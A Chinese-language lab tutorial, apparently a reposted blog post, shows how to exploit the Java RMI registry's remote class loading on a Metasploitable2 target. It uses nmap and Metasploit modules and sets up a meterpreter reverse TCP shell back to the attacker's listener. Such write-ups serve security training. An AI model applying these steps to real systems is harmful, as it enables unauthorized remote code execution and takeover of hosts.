Java RMI漏洞利用

栏目: Java · 发布时间: 5年前

内容简介:Java远程方法调用,也就是Java RMI,它是一种机制,允许一个Java虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。RMI协议使用两种其他协议来实现其on-the-wire格式,即Java对象序列化和HTTP协议:

Java远程方法调用,也就是Java RMI,它是一种机制,允许一个 Java 虚拟机中的对象去访问和调用另一个Java虚拟机中包含的方法。这与RPC基本相同,但是在面向对象的范例中,而非面向过程,它允许不在同一个地址空间中的Java程序互相通信。

漏洞源于RMI Registry和RMI Activation Service(RMI激活服务)的默认配置,允许从远程URL中加载类。

RMI协议使用两种其他协议来实现其on-the-wire格式,即Java对象序列化和HTTP协议:

·对象序列化协议用来编组调用和返回数据。

· HTTP协议用于POST远程方法调用,并在情况允许时获取返回数据。

Step1—漏洞发现

第一步就是拿nmap神器扫描目标地址。

命令:nmap 192.168.73.130

192.168.73.130是我们的靶机(metasploitable2),靶机上安装了Java RMI服务(rmiregistry),运行在1099端口上,你也可以通过nmap扫描结果来看这个端口是开放的。

Metasploitable2介绍:这是一个集合了各种漏洞的靶机,可以用来进行安全培训,测试安全 工具 和练习常用的渗透测试技巧。

Java RMI漏洞利用

你也可以使用nmap脚本来验证这个漏洞是否存在,命令如下:

nmap –script=rmi-vuln-classloader -p 1099 192.168.73.130

下面的脚本检测Java rmiregistry服务是否允许加载类。默认的配置允许rmiregistry服务从远程URLs加载类,这就导致了远程代码执行。

供应商(Oracle/sun公司)声称这是一项涉及功能。

Java RMI漏洞利用

在我们的攻击机上启动MSF,然后在控制台搜索java_rmi,命令如下:

search java_rmi

Java RMI漏洞利用

通过上面的截图可以看到,有很多与Java RMI相关的模块,不过对于扫描来说,最佳模块是auxiliary/scanner/misc/java_rmi_server,对于漏洞利用,最佳模块是exploit/multi/misc/java_rmi_server

我们先使用扫描模块,输入下列命令,然后”show options”一下

use auxiliary/scanner/misc/java_rmi_server

Java RMI漏洞利用

接下来是设置RHOST和RPORT,命令如下:

setRHOSTS 192.168.73.130
setRPORT 1099
run

Java RMI漏洞利用

Step2—漏洞利用

我们可以看到扫描器检测到了运行在1099端口上的java RMI服务,这就表明它可能存在这个漏洞。

现在我们就来使用一下漏洞利用的最佳模块,命令如下:

use exploit/multi/misc/java_rmi_server

然后输入“show options”查看需要设置的参数,如图:

Java RMI漏洞利用

该模块(java_rmi_server)利用RMI registry和RMI激活服务,允许从任何的远程URLs加载类。由于它调用了RMI Distributed Garbage Collector中的一个方法,该方法在每个RMI终端中都是可用的,它既可以用于rmiregistry和rmid,也可以用于大部分其他(自定义的)的RMI终端。

注意:它不适用于Java Manager Extension(JMX)端口,因为它们不支持远程加载类,除非有另一个RMI终端在相同的java进程中处于活跃状态。RMI方法调用不支持或要求任何的身份验证。

同样,你还是要设置RHOST和RPORT。

setRHOST 192.168.73.130
setRPORT 1099

Java RMI漏洞利用

然后,你还需要设置payload来进行反向TCP shell连接,命令如下:

Set payload /java/meterpreter/reverse_tcp

你可以输入show payloads来查看所有的payload。

接着我们还是输入“show options”来查看刚才设置的payload需要设置的参数。如图:

Java RMI漏洞利用

这里你可以看到缺少了LHOST,因为我们使用的是反向shell,我们需要设置一个监听地址和监听端口,这里我的LHOST地址是192.168.73.128,监听端口我设置为4444,如图:

Java RMI漏洞利用

我们可以看到这个exp在我们的系统中启动了一个处理器,向靶机发送RMI方法调用,然后成功打开了一个meterpreter会话。

输入“session -i”来查看所有已建立的会话,连接活跃的会话,我们可以使用“session -i <ID>”,如图:

Java RMI漏洞利用

建立会话连接之后,我们就可以使用sysinfo,shell和getuid等命令了,如图:

Java RMI漏洞利用


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

重构

重构

Martin Fowler / 熊节 / 中国电力出版社 / 2003-8-1 / 68.00元

Martin Fowler和《重构:改善既有代码的设计》(中文版)另几位作者清楚揭示了重构过程,他们为面向对象软件开发所做的贡献,难以衡量。《重构:改善既有代码的设计》(中文版)解释重构的原理(principles)和最佳实践方式(best practices),并指出何时何地你应该开始挖掘你的代码以求改善。《重构:改善既有代码的设计》(中文版)的核心是一份完整的重构名录(catalog of r......一起来看看 《重构》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

MD5 加密
MD5 加密

MD5 加密工具